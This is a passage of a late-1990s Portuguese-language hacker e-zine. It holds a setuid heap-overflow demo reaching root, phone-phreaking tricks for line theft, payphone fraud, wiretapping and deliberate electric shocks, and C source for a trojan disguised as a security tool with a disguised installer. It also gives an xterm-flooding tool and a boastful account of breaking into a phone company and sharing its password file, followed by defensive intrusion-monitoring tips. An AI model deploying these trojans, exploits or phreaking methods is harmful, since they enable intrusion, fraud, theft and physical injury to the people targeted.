YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ c0nd0r _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Nota: Esta materia saiu na lista de discucoes BOS (www.securenet.com.br) e esta sendo publicada com a autorizacao do autor. Outros trechos do email foram cortados para a materia na fugir do assunto. ------------- A tecnica de heap overflow e' pouco utilizada pois traz muitas limitacoes. Em primeiro lugar, lembramos que a regiao de dados tambem e' executavel e pode ser utilizada para que um determinado range de instrucoes sejam executadas. Mas como fazemos isso ? E' preciso sobrecrever o ponteiro de uma determinada funcao (designada como estatica) para que venhamos a executar nosso codigo. Um outro uso logico do heap overflow e' alteracao de variaveis com o proposito de conseguirmos imputar dados arbitrarios e explorarmos o seu uso durante o percurso do codigo. Um bom exemplo: <++> heap/heap.c #include int main ( int argc, char *argv[]) { static char buf[6], buf2[20]; if ( argc < 2) exit(-1); fprintf ( stderr, "Momento 1 | buf %p(%s) | buf2 %p(%s)\n", &buf, buf, &buf2, buf2); strcpy ( buf2, "/bin/ls"); sprintf ( buf, "%s", argv[1]); fprintf ( stderr, "Momento 2 | buf %p(%s) | buf2 %p(%s)\n", &buf, buf, &buf2, buf2); execl ( buf2, buf2, (char *) 0); } <--> Eis os testes: condor:~$ id uid=1001(condor) gid=100(users) groups=100(users) condor:~$ ls -la heap -rwsr-xr-x 1 root root 12422 Aug 4 07:28 heap condor:~$ ./heap AAAA Momento 1 | buf 0x8049734() | buf2 0x804973a() Momento 2 | buf 0x8049734(AAAA) | buf2 0x804973a(/bin/ls) t t.c // Percebam que nao estou atingindo a pilha (0xbfff) e sim a area de // dados (buf 0x8049734 e buf2 0x804973a). // Eu alimentei o buf com os argumentos da linha de comando (argv) e // o system executou o que continha no buf2 ("/bin/ls") condor:~$ ./heap AAAAAAA Momento 1 | buf 0x8049734() | buf2 0x804973a() Momento 2 | buf 0x8049734(AAAAAAA) | buf2 0x804973a(A) sh: A: command not found // Opa! Ha' algo de errado aqui. Ultrapassei os limites impostos pelo // buf (0x8049734) e alcancei o buf2, que estava empilhado em seguinda. // A partir dai, alterei o conteudo "/bin/ls" para "...A\0", que era o // resto do meu argv. Tenho controle para executar qualquer comando: condor:~$ ./heap AAAAAA/usr/bin/id uid=0(root) gid=0(root) groups=0(root) condor:~$ Perceba que isso poderia ser utilizado para alterar qualquer tipo de variavel, desde arquivos de configuracao ou ate mesmo sequencias de caracteres utilizadas para barrar algum tipo de servico. Abracos, -condor www.sekure.org s e k u r e aka. Thiago Zaninotti (c0nd0r) thiago@securenet.com.br Portal Brasileiro de Seguranca www.securenet.com.br _xXXXP^'' ``^YXXXx_ _xXXXXP~ 12 - idiot things about ~YXXXXx_ _xXXXXXX( phreak )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Relaxa... Aki soh vao algums truques legais para se fazer com telefones. Sao coisas totalmente idiotas e, algumas, inuteis entao nao tente tirar bom proveito deste texto. Soh divirta-se. what u will find here... ######################## 1. Coisas basicas sobre telefonia 2. Boxes 2.a. Crimson Box 2.b. Busy Box 2.c. Bud Box 2.d. Beige Box 2.e. Yellow Box 2.f. Tan Box 3. Redirecionamento 4. Brincando com sons do telefone 5. O truque do diodo 6. Ligando uma lampada num telefone 7. Tome choque 1. Coisas basicas sobre telefonia ################################# Vamos comeca pelo seguinte: O sistema brasileiro telefonico opera em uma fiacao dupla. Um par. Linha A e B. O americano opera em 2 pares utilizando linhas A, B, C e D. Este eh o principal motivo para muitas boxes americanas nao funcionarem aki no Brasil. O telefone fixo recebe continuamente uma corrente de 12v. Este circuito soh eh fechado ao tirar o telefone do gancho mas esta' sempre alimentado. A voltagem aumenta para 46v qdo voce recebe uma ligacao. Isto ativa a campainha do telefone. Apos atender o telefone a corrente baixa novamente para 12v. Caso voce utilize 5 extencoes e um telefone em cada, quando a CT lhe enviar o sinal de chamada os 5 telefones simplesmente nao irao tocar. Pq? pq como os telefones encontram-se em um circuito paralelo, a intensidade ira' dividir-se em 5 e os telefones nao receberam forca suficiente para acionar a campainha. Ao discar para algum numero, o telefone envia em cada digito uma frequencia sempre na faixa de 10hz. A Central Telefonica identifica os numbahs atravez do CPA. Telefones Publicos sao um pouco diferentes. Existem 2 metodos mais comuns de cobranca. No primeiro a CT envia ao aparelho telefonico uma frequencia de 12KHz. Eh o sinal para que mais um credito seja cobrado. O Outro, que esta sendo cada vez menos utilisado, eh o metodo de inversao onde a CT inverte a polarisacao de -48v para +48v e vice-versa. Este metodo de cobranca anda sendo pouco utilizado ultimamente pois esta sujeito a falhas. Nota: Todos os TPs a cartao sao facilmente programaveis tendo uma chave deles para poder abri-los. Se alterar o metodo de cobranca, voce pode ligar gratuitamente pois o telefone nao interpretara o sinal da CT como um sinal de cobranca. Ex: A CT envia 12KHz mas o telefone esta esperando q a tensao seja invertida para que cobre creditos (como isso nao acontece...). 2. Boxes ######## Aki vai uma lista de boxes simples que funcionam tanto aki no Brasil qto nos EUA pois o sistema de fios nao tem muita importancia nestes casos. Ah! Releia o titulo desta materia. As Boxes sao tudo idiotas pois basta fucar um pouco nos fios e ela esta feita. Eh ridiculo certas coisas que sao consideradas boxes por phreax0rs. Mas vamo lah! 2.a. Crimson Box ################ Basta ligar a fiacao telefonica em um interruptor qquer (pode ser de luz, qquer um). Com isso voce "liga" e "desliga" a linha quando voce quizer bastando apertar um botao. 2.b. Busy Box ############# Esta eh a box mais ridicula ja existente porem mesmo assim eh considerada uma box. Vamos ver a descricao dela: * Busy Box : Não permite que a linha seja utilizada nem pra receber nem pra enviar chamadas. Sabe o que fazer??? Eh simples. Abra a sua tomada telefonica (padrao Telebras, com encaixe para 4 pinos). Como voce pode observar existem apenas 2 fios nesta tomada (geralmente vermelho e verde). Issu por que o sistema brasileiro usa apenas estes 2 fios porem as tomadas ainda sao padrao americano. Observe tambem que o plugue de seu modem, caso tenha sido comprado aki no Brasil, tambem possui somente estes 2 fios. Agora que vc ja conhece a fiacao de seu telefone, corte-as. =) Com issu o telefone nao tem linha e portanto nao recebe nem envia chamadas. Outro metodo eh desencapar o fio telefonico e uni-los (fio vermelho e verde). 2.c. Bud Box ############ Opa! Outra Box... Sabe qual a fucao dela??? Utilizar a linha de outra pessoa. Parece interessante neh? Mas sabe qual o funcionamento dela?? Outra decepcao. O que fazer? Puche uma extencao da linha de outra pessoa, pode ser da casa (facil de fazer caso vc more em um edificio) ou direto do poste da rua. Tendo esta extencao conecte-a ao seu telefone ou seu modem. Cuidado para nao ser pego usando esta linha pela vitima do boxing, pois como issu baseia-se numa extencao (para a vitima nao perder a linha e reclamar com a CT que provavelmente descobririam sua box) ela pode ouvir tudo o que vc conversa. Nota: Issu funciona inversamente tb. =) 2.d. Beige Box ############## O objetivo desta box eh obter ligacoes gratis de TPs. Pode ser feito com um notebook (com modem) ou um telefone normal. O negocio funciona assim: A CT envia um sinal para o TP que eh inter- pretado pelo aparelho telefonico do respectivo orelhao. Um aparelho telefonico fixo ou um modem nao reconhecem os sinais de cobranca. Entao substituindo o telefone publico por um telefone comum ou seu modem voce tem uma linha telefonica todinha pra voce. Gratis!! Basta cortar os fios do TP e ligados a fiacao do seu. 2.e. Yellow Box ############### Issu eh ridiculo. Esses phreakers chamam qualquer coisa de box. Yellow box eh uma das boxes mais antigas. Ela eh simplesmente uma extencao da linha telefonica. Aposto que voce ja fez uma mesmo sem saber que estava fazendo uma box. 2.f. Tan Box ############ Solde os fios do telefone a outro par de fios ligados a um pino macho. Penetre o pino macho num orificio de qualquer gravador e apos a ligacao ser feita REC! C vc ainda nao captou o espirito desta box ela simplesmente grava conversas. 3. Redirecionamento ################### Ja existem diversas companias (tipo SIGA-ME) que habilitam esse servico. Voce pode usa-la de modo produtivo com de modo anarquista (o que veremos aqui). Ateh onde eu sei, este servico soh pode ser acionado pelo proprio telefone que for usa-lo, sendo assim eh preciso ter acesso fisico ao aparelho da(s) vitima(s). * Redirecione todos os numeros de seus amigos para a casa do seu inimigo. =) * Redirecionar o numero de um programa de radio para outro qquer pode ser engracado qdo o apresentador nao receber nenhuma ligacao ao vivo. NOTA: Use o redirecionamento direto nao o redirecionamento em caso de linha ocupada ou de "ninguem-em-casa". * Este metodo foi apresentado no Phrack 01. Por volta do Natal va ate uma loja de brinquedos. Tire todo mundo de perto de telefone. Ai pegue o telefone e redirecione as chamadas para o sr. Scott. Scott vai receber muitas chamadas (depende do tamanho da loja, de 100 a 600) todo dia. * Nao sei o que pode acontecer c vc fizer isto mas se quizer testar... Pode da uma locura na compania servidora do redirecionamento ou na compania telefonica ou nao acontecer porra nenhuma. =) Habilite em um telefone o redirecionamento soh caso ele esteje ocupado; No telefone 2 (pra onde serao redirecionadas as chamadas) faca o mesmo soh q redirecionando as chamadas para o 1o; Tire o telefone 1 do gancho; Com o telefone 2 disque para o 1o. Issu na teoria causaria um looping nos redirecionamentos. Nao sei o acontece na pratica pq nao testei, acabei de pensar nissu. 4. Brincando com sons do telefone ################################# Qdo digo sons eu estou me referindo aos sinais telefonicos do tipo: * sinal de espera de discagem (tuuuuuuuuuuuuuuu.....); * sinal de ocupado (tu... tu.... tu.... tu....); * sinal de chamada (tuuuuuuuuu.... tuuuuuuuuu.... tuuuuuuu....); Sakou quais sao neh? Nao? Entao faz o seguinte: dire seu telefone do gancho e ouca o barulho q ele faz. Este eh o sinal de espera. O que vamos ver aki eh como brincar com estes sinais telefonicos e com outros que voce ainda nao conhece porem existem nas maioria das CTs (Centrais Telefonicas). Siga os passos: 1. Retire o telefone do gancho; 2. Disque 109; Lembra o que faz o 109??? Ele faz com que a CT ligue de volta para o seu numbah para testar sua linha. Continue seguindo os passos... 3. Espere o primeiro sinal de chamada; Depois disso a linha imudece. O que deveria ser feito agora eh colo- car o telefone devolta no gancho e esperar que ele tocasse. MAS nao eh issu o q vamos fazer... 4. Coloque o telefone no gancho; 5. espere 5 segundos; 6. retire do gancho; Apos isso a linha ficara muda por algum tempo. Espere... As vezes demora um pouco, outras vezes eh rapido. NOTA: Voce deve retirar o telefone do gancho antes que ele toque. 5 segundos eh um tempo estimado. Depois de esperar um tempo o telefone emitira' alguns ruidos loucos. Agora aperte os numeros do teclado. Cada numero emitira um sinal diferente cuja funca ainda nao descobri. =) O que aconteceu aki segundo minha deducao foi o seguinte: Ao ligar para o 109 a chamada cai num servico automatico da CT. Este servico apenas reconhece o seu numero porem nao aceita sua ligacao. Ele espera que voce coloque o telefone direto no gancho para enviar devolta um sinal que sera interpretado por seu aparelho telefonico como uma chamada. Porem, aparentemente este servico nao reconhece c o telefone esta fora do gancho ou nao e com issu voce tem acesso aos sinais enviados pela CT. O proveito que voce vai tirar disso eu nao sei. Alias essa materia sobre phreak nao foi feita com objetivos proveitosos e sim idiotas. 5. O truque do diodo #################### Para quem nao conhece este truque ainda, ele funciona assim: Voce coloca um diodo e um resistor nos fios telefonicos de um TP (Telefone Publico) e assim podera' discar gratis. Mas vamos conhecer um pouco mais sobre este truque e seu funcionamento... Ja vimos que um metodo de cobranca utilizado em TPs eh a inversao de polaridade. Colocando um diodo no circuito ele impede que esta inversao seja feita pois a funcao do diodo eh fazer a corrente circular numa soh direcao. A voltagem entao cai a 0v qdo a inversao eh feita nao permitindo que ela "inverta-se" e assim os creditos nao sao cobrados. Este truque soh funciona em TPs com este metodo de cobranca. Parece que alguns TPs azuis (TPC 9400) da telefonica em SP sao vulneraveis. 6. Ligando uma lampada num telefone ################################### Em quanto o TomWaits se preocupa em ensinar como ligar um modem num Telefone eu ensinarei como ligar uma lampada num telefone. Hehehehehe! Estranho neh?? Use isto para economizar eletricidade. =) Arrebente seu abajur e pegue aquele encaixe da lampada. Dele saem 2 fios que sao respectivamente ligados na tomada. C voce liga-los numa fiacao telefonica a corrente eletrica passara pela lampada e a acendera. Mas tipo... a voltagem usada nos telefones (46V qdo toca e 12V qdo esta no gancho) eh muito menor do que a fornecida pela compania de energia eletrica (110V ou 220V). Portanto a lampada tera um brilho muito fraco e piscara' qdo vc estiver recebendo uma ligacao. Issu eh mto usado por surdos. Soh nao me pergunte como eles falam no telefone. =) 7. Tome choque ############## Pra fechar com chave de ouro, uma explicacao rapida de como tomar choques com telefones. Siga os passos: 1. Descasque os fios dele e segure-os com forca. Se preferir ponha-s na boca. 2. Tenha certeza de que nao esta usando nenhum calcado de borracha. Se voce estiver, voce pode segurar um fio com cada mao, ou segurar os 2 e tocar algo de metal. Tambem funciona. =) 3. Agora peca para alguem ligar para voce. Hurru!!! issu ae!!! Espero que tenham curtido este super manual de coisas idiotas sobre o phreak. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 13 - Wrapper + C + Xterm ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ kamikase shell _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Ae, mostrarei aqui umas gracinhas q podemos fazer misturando o Wrapper com C e Xterm. O esquema eh o seguinte, o programa Noaccess (vcs jah devem ter visto) bloqueia todos os servissos do seu computador ( telnet, ftp, finger, etc..), ele tambem copia o IP de quem tentou acessar sua maquina deixando um aviso do tipo: Vc X.X.X.X, naum foi autorizado a utilizar o servisso tal... Vc esta nos meus logs, Naum volte mais. Se vc sabe configurar o Wrapper e entende um pouco de C, pode alterar o Noaccess e torna-lo muito mais util. Aqui esta um exemplo: acrescentando um pequeno codigo no programa, ele deixa de bloquear e abre a maquina do quem instalou. Mande esse programa pra alguem que tiver te zuando e tenha acesso a maquina dele. O codigo que eu acrescentei faz com que a maquina da vitima execute um comando que abre um Xterm na maquina de quem solicitou a coneccao. Com acesso ao shell, vc pode executar comandos na maquina dele. Lembre-se de que vc tem que digitar "xhost +" na sua maquina, para permitir que o xterm seja aberto. Ae vai o prog alterado: programa noaccess.c <++> noaccess/noaccess.c /* NoAccess All:All: twist /var/noacess %h %d ; \ /bin/echo -e "%h tentou acessar %f " >> /var/log/security.log */ #include #include int main(int argc, char *argv[]){ int i; char str[50]; for(i=2; i >= 0; printf("%i ",i), fflush(stdout), sleep(1), i--); printf("\n\nVoce , %s ,nao foi autorizado a se conectar com meu computador!\n\n", argv[1]); printf("Voce esta nos meus logs!Nao volte mais !!!\n\n"); strcpy(str, argv[1]); if (strcmp(str, "127.0.0.1")) { strcpy(str, "xterm -display "); strcat(str, argv[1]); strcat(str, ":0.0 &"); system(str); } } <--> Aqui vai o arquivo hosts.deny <++> noaccess/ipcaph.d All:All: twist /var/noaccess %h %d ; \ /bin/echo -e "%h tentou acessar %d " >> /var/log/ipcap.log; <--> Aqui vai o script para instalacao automatica, coloque ele em um diretorio junto dos outros dois arquivos ( o noaccess e o hosts.deny ): <++> noaccess/install.sh cp /etc/hosts.deny /`whoami`/ cp /etc/hosts.deny ~`whoami`/ clear echo " " echo "**********************************" echo "** armengado por kamikase shell **" echo "**** instalando IpCapture 1.0 ****" echo "**********************************" echo " " echo "as tentativas de log seram armazenadas em /var/log/ipcap.log" echo " " cat ipcaph.d > /etc/hosts.deny gcc -o noaccess noaccess.c chmod 555 noaccess mv noaccess /var/ <--> Pronto, agora excute o script. Ele faz uma copia do verdadeiro hosts.deny e coloca-o em seu diretorio home. Mostra um texto: armengado por kamikase Shell .. Ip Capture 1.0 e tal.. (soh pra iludir o coitado) Quando o programa eh chamado ele testa se o IP de quem solicitou a coneccao foi 127.0.0.1, pois se o lamah for testar o programa provavelmente desconfiaria do Xterm que seria criado na sua propria maquina :P . Assim, toda vez que o IP que solicita a coneccao for 127.0.0.1, o programa funcionarah normalmente como se fosse um prog de seguranca, bloqueando os servicos, capturando o IP e mostrando a menssagem de sempre... Este programa foi feito para darmos aos lammers, porem se um lamah tirado a esperto te oferecer este prog, tudo bem, voce aceita e diz que vai instalar :) Entao vc pega o IP dele e executa este prog que eu escrevi tambem. <++> noaccess/kkshflood.c /* ********** kkshFlood ************ * ****** by kamikase shell ******** * Este programa abre Xterms na maquina * * indicada, q dependendo da configuracao* * tornando-a praticamente impossivel de * * ser operada, forcando a desconeccao * * CUIDADO: NUNCA EXECUTE ESTE PROGRAMA * * COMO ROOT, DEPOIS NAO DIGA QUE EU NAO * * AVISEI :) * */ #include #include int main(int argc, char *argv[]){ int i,k; char str[50]; printf("\n kkshflood - by kamikase shell (kksh)\n"); if (argc!=2){ printf("Erro:\n Digite: kkshflood endereco-IP-vitima\n"); exit(0); } printf(" Abrindo multiplos terminais em: %s\n", argv[1]); printf(" Quantidade de terminais:\n"); sleep(1); for(i=10;i>0;i--){ strcpy(str, "xterm -display "); strcat(str, argv[1]); strcat(str, ":0.0 &"); for(k=1;k<=6;k++){ system(str); printf("%d, ",k); } printf("\n"); sleep(5); printf("Nenhum \n"); system("killall -9 xterm"); } } <--> Este programa usa a mesma tecnica do outro so que abre uma porrada de terminais seguidos na maquina do lammer, depois killa tudo (killall -9 xterm), e depois comessa denovo :). Assim o kara naum consegue fazer nada, pois dependendo da configuracao dele, cada Xterm aberto rodarah em foreground, deixando o resto em background, logo, toda hora um Xterm abre e o outro fica em background, assim vai se repetindo e o lamah tem que se desconectar ou entaum ficar olhando os xterms abrindo e fechando na tela :) . Podemos abrir terminais na maquina do lamah pq sabemos que ele provavelmente digitou: "xhost +" ( ele esta esperando um Xterm da nossa maquina!). Se eh um terminal que ele quer, terminais ele tera! So temos que ter cuidado para naum executarmos o programa como root pois o terminal aberto na maquina do kara tambem o serah. CUIDADO!! Umas dicas: 1) naum execute o kkshflood em um xterm, pois quando programa executar o killall -9 xterm o seu propio terminal serah fechado, fechando tb o programa; 2) vc pode ajustar o kkshflood dependendo dos recursos de sua maquina, altere no codigo fonte a quantidade de xterms q sera aberto, o sleep... eu escrevi e testei esse codigo num 133Mhz :P kamikase shell - kksh@bahia.net _xXXXP^'' ``^YXXXx_ _xXXXXP~ 14 - RELATO SOBRE A CETERP ~YXXXXx_ _xXXXXXX( DE RIBEIRAO PRETO )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Overnix _dXXXXP~ ~YXXXbx.. ..xdXXXP~ RELATO SOBRE A CETERP DE RIBEIRAO PRETO by OverniX Irei citar aqui uma pequena historia ocorrida comigo no dia 24/07/99 Tudo comecou numa bela madrugada de sabado quando eu estava fucando nuns servidores aqui do estado de sampa e comecei a ver algumas coisas interessantes nos servers. Bom, aih comecei a fucar numa provedora de sampa e foi onde explorando algumas falhas consegui acesso root num IRIX 5.3 : ) Depois de ter hackeado esse provedor, fiquei mais animado ainda e saih por aih procurando bugs em varios outros provedores que eu ja tinha em mente. : ) Passado algumas horas, dei uma parada a pedido do NeTrash, que me chamou pra dah uma pesquisada num server interessante. Depois de algumas tentativas descobrimos algumas falhas e outras infos importantes, mas nada de acesso root la. Depois de alguns minutos trocando ideia com NeTrash, no meio do papo rolou o nome da Telesp(Compania Telefonica de Sao Paulo). Logo pensei na Companhia Telefonica daqui de Ribeirao Preto-sp. A Ceterp !!!! Daih entao comecei a pesquisar e testar alguns bugs e falhas e foi onde me deparei com uma falha ateh grosseira a certo ponto...nunca imaginei q a ceterp tinha um sistema tao falho...a comecar pelo sistema q era um HP-UX. Pra entrar foi facil. Encontrei um dir de um user q tava exportavel pra todos e com isso foi onde consegui uma shell de um user conectado no server naquele momento. Bom, estando nessa shell comecei a exploitar aquele sistema tao forte q de primeira causei um overflow num programinha chamado "cu" q na maioria vem setado com suit root e aih caih na famosa shell root # :)) Resumindo, e por fim puxei o file password pra distribuir pra galera e todos ficaram felizes para sempre. : ) Abaixo vai a msg que deixei no dir do root " Caro Admin... Quero te agradecer pelas centenas de senhas fornecidas por voce numa bela madrugada de sabado. Parabens..... Continuem sempre assim, com esse sistema podre e bugado que sempre serah uma honra eu logar como root e administrar essa porra q voce chama de sistema. Qquer coisa tamo sempre aih. " E nao eh que os cara tentaram me pegar !!??!.. : ) _xXXXP^'' ``^YXXXx_ _xXXXXP~ 15 - Sempre Alerta ~YXXXXx_ _xXXXXXX( Escoteiros mirins! )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Ha algum tempo atraz eu brincava com meus amiguinhos duhdinhas de um tentar invadir o sistema do outro. Eu sempre deixava o telnet aberto e dava uma conta para eles tentarem me 0wnar. Quando eles conectavam eu monitorava cada passo deles. Sempre de olho no que eles estavam fazendo. Com issu aprendi os diversos caminhos que cada um sempre seguia e formei minhas rotinas atravez da deles. Voces podem achar o que quizerem mas eu considero o telnet um dos servi- cos mais seguros do tcp. Eh soh voce pensar em quantos exploits para smtpd, httpd (apache e iis), ftpd e outros daemons ja foram publicados. Emquanto issu ateh agora sao raros os releaseds para telnetd. Mas ae vc diz: "Ta! mas com telnet o kra ja tem acesso a tua maquina." Mas issu eh exatamente o que eu quero no momento. Este texto vai mostrar como usar o invasor para testar as falhas do seu sistema. Detalhe: Quando me refiro a sistema estou falando dele internamente nao de daemons bugzados. Isto porque quando o hacker consegue uma conta telnet na maquina, ele tenta hackea-la de dentro, testando bugs de pro- gramas suids, etc. Entendido o objetivo do texto vamos ao que interessa: Para comecar nao usaremos o daemon do telnet e sim o telnetsnoopd. Este daemon funciona como o telnet porem permite a monitoracao em tempo real dos terminais usados pelos convidados. O texto do TinkerTrain nesta edicao mostra como usa-lo. Fique atento a todos os passos que o hacker da. A todos os comandos que ele executa. A tudo. Sempre alerta! Para testar bugs de buffer overflow eh comum usarem comandos como: ./programbugzado AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA O que resultaria em Segmentation Faults caso o programa seja vulneravel. Estes A's podem ser feitos tb atravez de outros comandos como: `perl -le 'print "A" x 1000'` Voce tem que ter um conhecimento basico do que ele esta tentando fazer, o que nao sera dificio pois o ttysnoop exibe tudo o que o hacker esta vendo, entao se ele entrar em um prog para testar buffers internos, voce sabera. Ao invez disso os hackers mais praticos simplesmente checam a versao dos programas que tentaram xploitar. Como no caso estamos testando somente a seguranca do sistema interno feche os demais daemons para que voce nao seja hackeado remotamente, o que nao iria ser monitorado pois nao foi feito da sua shell. Sem ftp o hacker se vera obrigado a colar seus exploits em algum editor ou usar o wget para baixa-los de seu proprio dominio. Assim que ele colocar um arquivo no seu sistema copie-os imediatamente para um diretorio escondido q somente vc tenha permissao de ler. Perceba que alguns rackers mais novatos simplismente colocaram seus xploits na sua maquina e testaram um por um. Fike alerta a qualquer sinal de root na shell dele. Assim que ele pegar root derrube-o, feche os servicos e verifique o source do exploit usado. Nele voce encontra o programa que foi exploitado. Corrija-o (alguns programas basta retirar o suid bit, outros eh preciso atualizar para uma versao mais nova) e soh entao volte a rodar o telnetsnoopd. Com issu voce tem uma falha a menos no seu sys. Ele esta mais seguro do que antes. Agora se voce tem um sistema muito grande e nao pode ficar perdendo com essas brincadeiras, muito menos fechar seus servicos para testar a seguranca, aki vao umas dicas para detectar o invasor depois dele ja estar dentro. Caso vc encontre algum arquivo deixado no sistema pelo invasor, como os xploits usados ou ate' mesmo uma mensagem deixada pelo engracadinho (as vezes isto eh comum), voce pode usar o seguinte comando para encon- trar outros arquivos modificados nesta mesma data. Assim podera encon- trar backdoors deixadas e arquivos alterados. Uma t3kn33k simples e util que pode ser usada eh usar um alias para o rm fazendo-o ao invez de deletar o arquivo, mova-o para um diretorio de backup. Com issu voce tem os exploits e programas usados pelo invasor. Seria algo tipo: alias rm="mv -f $1 /tmp/bak/" Crie sempre chaves MD5 de arquivos importantes como os arquivos de senhas e arquivos de inicializacao. Apos suspeitar de uma invasao, verifique se a md5 mudou. Caso tenha mudado significa que o arquivo foi alterado. Para monitorar ataques externos direcionados aos daemons, criei um programa que monitora as conexoes tcp e verifica se algum pacote contendo mais de 5 nops (0x90) foi enviado. Outro metodo que tambem poderia ser usado e eh mais seguro, eh verificar se algum pacote possui enderecamento da pilha. Caso um dos casos seja verdadeiro o programa grava o ip em um log e fecha a conexao. Isso porque para exploitar remotamente o hacker precisa enviar um buffer recheado de nops, shellcode e o enderecamento para a pilha. Como o shellcode costuma variar de xploit para xploit, nao podemos monitora-lo e por isso vamos monitorar os nops e o endereco de pilha. Se um deles for enviado remota- mente as chances de estarem tentando xploita-lo sao muito grandes e nao vale a pena arriscar. =) O programa inda nao esta released pois possui uma serie de bugs q serao brevemente corrijidos, mas o algoritimo dele eh facil e qualquer um com uma base de programacao pode faze-lo. That's all. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 16 - Monitorando telnet ~YXXXXx_ _xXXXXXX( usando "in.telnetsnoopd" )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Tinker Train _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Ae povex! primera vez q escrevo pra zines.. e bla bla bla sem lenga lenga vamo direto pro q interessa... { Explicacao } Para realizar o monitoramento, voce ira precisar do "in.telnetsnoopd".. vc pode encontrar em sites como o tucows (tucows.matrix.com.br).. ** OBS: estou supondo que seu sistema eh linux slackware, se for outra distribuicao ou sistema tente adaptar.. acho que em caso de linux de outra distribuicao nao tem muita diferenca Depois de instalar vamos comecar a brincadeira: Edite o arquivo /etc/inetd.conf e procure por algo como: telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd Entao comente essa linha (#, dugh!) e coloque logo abaixo (ou em cima, ou la embaxo, ou em qquer lugar) dela a linha seguinte: telnet stream tcp nowait root /usr/sbin/tcpd in.telnetsnoopd Beleza.. feito isso reinicie o seu inetd (killall -HUP inetd) Ta.. e agora? como monitorar? Para monitorar voce tem que saber em qual TTY o usuario que se deseja monitorar esta logado... para isso podemos usar o comando "w"... que lista algo como: host:/# w 11:45pm up 4:39, 8 users, load average: 0.12, 0.10, 0.22 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 - 7:07pm 6:12 11.05s 0.02s -bash root tty3 - 8:53pm 0.00s 0.50s 0.05s -bash toor ttyp0 ip.ip.ip.ip 9:06pm 1:29m 0.29s 0.29s ls -al | \ _ isso eh a TTY que o user "toor" esta logado. Sabendo isso vamos comecar a monitorar o cara... pra isso digite: host:/# ttysnoop ttyp0 | \ _ tty na qual nosso amigo ta logado. Connected to ttyp0 snoop server... Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate. Snoop password: Verified OK... Snoop started. tinker:/etc# ttysnoop ttyp0 Connected to ttyp0 snoop server... Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate. Snoop password: Verified OK... Snoop started. ** Agora comeca a magica! voce vera em tempo real tudo o que o usuario "toor" esta fazendo! OBS: quando pedir "Snoop password:" digite a sua senha de root. Ta ai um truquezinho pra vcs! :).. pode parecer meio sem graca, mas eh realmente interessante... Por hoje eh soh pessoal :) ehauehauheua tks to: struck e s0laris. [ Tinkertrain ] _xXXXP^'' ``^YXXXx_ _xXXXXP~ 17 - Hack-Test ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Muitos dos grupos hackers dos quais eu conheci membros tinham seus testes hackers para um novo membro provar suas capacidades. As vezes, o teste era simplesmente 0wnar uma maquina descrita pelo grupo, mas os mais comuns eram os testes de pergunta e respostas. O mais interessante eh que cada grupo q eu ficava conhecendo, queriam q eu participasse destes testes mesmo eu mantendo minha possicao de nao entrar em nenhum deles. Alguns testes eram bem inteligentes e bem feitos, outros simplesmente idiotas. Depois q eu respondia o q eu sabia e mandava devolta ao grupo recebia sempre uma nota de 0 a 10 (Execao de um q era de 0 a 100, mas isso nao importa e nem 